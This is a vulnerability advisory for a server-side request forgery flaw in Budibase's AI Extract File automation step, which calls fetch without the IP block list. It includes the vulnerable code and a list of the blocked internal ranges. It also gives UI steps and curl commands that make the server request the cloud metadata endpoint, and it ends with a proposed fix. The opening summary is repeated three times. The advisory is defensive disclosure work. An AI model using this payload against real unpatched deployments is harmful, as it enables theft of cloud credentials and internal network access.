Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation

Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.

Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.

Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.

## Vulnerability Details **CWE-918**: Server-Side Request Forgery (SSRF) The `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. ### Vulnerable Code **`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**: ```typescript async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> { const response = await fetch(fileUrl) // NO blacklist check! // ... const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check! } ``` ### Contrast with All Other Automation Steps (Same Codebase) Every other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`: - `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})` - `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})` - `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})` - `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)` - `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})` - `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})` The `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks: - `127.0.0.0/8` (loopback) - `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private) - `169.254.0.0/16` (link-local / cloud metadata) - IPv6 private addresses The AI Extract File step bypasses all of these protections. ## Steps to Reproduce ### Via Budibase UI 1. Login as builder user 2. Create or open any app 3. Go to **Automations** > **New Automation** 4. Add trigger: **App Action** 5. Add step: **AI > Extract File Data** 6. Set Source: `URL` 7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP) 8. Click **Run Test** — the server makes the request without IP blacklist validation ### Via curl (API) ```bash # 1. Login and get session cookie curl -s -c /tmp/bb.txt \ "http://BUDIBASE_HOST/api/global/auth/default/login" \ -X POST -H "Content-Type: application/json" \ -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}' # 2. Create automation with SSRF payload (replace YOUR_APP_ID) curl -s -b /tmp/bb.txt \ "http://BUDIBASE_HOST/api/automations" \ -X POST -H "Content-Type: application/json" \ -H "x-budibase-app-id: YOUR_APP_ID" \ -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}' ``` ### Code Review Verification Compare the vulnerable function with the safe pattern used everywhere else: ``` VULNERABLE (no blacklist): packages/server/src/automations/steps/ai/extract.ts:116 const response = await fetch(fileUrl) SAFE (with blacklist) - every other step: packages/server/src/automations/steps/slack.ts:19 response = await fetchWithBlacklist(url, {...}) packages/server/src/automations/steps/discord.ts:28 response = await fetchWithBlacklist(url, {...}) ``` ### Expected vs Actual Behavior **Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()` **Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc. ## Impact An authenticated user with builder permissions can: - **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS) - **Scan internal network** services and ports - **Access internal APIs** not intended for external access - **Exfiltrate data** from internal services via the automation response In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise. ## Proposed Fix Replace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps: ```typescript import { fetchWithBlacklist } from "../utils" async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Use blacklist // ... const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist } ```